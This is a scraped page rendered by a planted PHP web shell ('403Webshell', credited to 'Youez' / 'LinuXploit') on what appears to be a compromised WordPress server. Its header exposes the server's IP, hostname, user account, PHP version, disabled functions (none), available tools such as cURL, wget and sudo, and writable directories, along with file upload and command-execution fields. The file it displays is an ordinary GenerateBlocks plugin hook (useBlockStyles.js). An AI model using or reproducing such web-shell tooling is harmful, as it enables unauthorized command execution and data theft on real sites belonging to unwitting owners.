403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/fast-franchise.ru/wordpress/wp-content/plugins/generateblocks/src/hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/fast-franchise.ru/wordpress/wp-content/plugins/generateblocks/src/hooks/useBlockStyles.js
import { useSelect, useDispatch } from '@wordpress/data';
import { applyFilters } from '@wordpress/hooks';

import { useDeviceType, getPreviewDevice, useCurrentAtRule } from '@edge22/block-styles';
import { defaultAtRules } from '@edge22/styles-builder';

import { currentStyleStore, atRuleStore, nestedRuleStore } from '../store/block-styles';

export function useBlockStyles() {
	const atRule = useSelect( ( select ) => select( atRuleStore ).getAtRule() );
	const { setAtRule } = useDispatch( atRuleStore );
	const nestedRule = useSelect( ( select ) => select( nestedRuleStore ).getNestedRule() );
	const { setNestedRule } = useDispatch( nestedRuleStore );
	const currentAtRule = useCurrentAtRule( defaultAtRules );
	const { setCurrentStyle } = useDispatch( currentStyleStore );
	const currentStyle = useSelect( ( select ) => select( currentStyleStore ).currentStyle() );
	const { deviceType, setDeviceType } = useDeviceType();

	const setGlobalStyle = applyFilters( 'generateblocks.useBlockStyles.setGlobalStyle', () => {} );
	const cancelEditGlobalStyle = applyFilters( 'generateblocks.useBlockStyles.cancelEditGlobalStyle', () => {} );

	return {
		atRule,
		nestedRule,
		setAtRule,
		currentAtRule,
		setNestedRule,
		setDeviceType,
		deviceType,
		setCurrentStyle,
		currentStyle,
		getPreviewDevice,
		setGlobalStyle,
		cancelEditGlobalStyle,
	};
}

Youez - 2016 - github.com/yon3zu
LinuXploit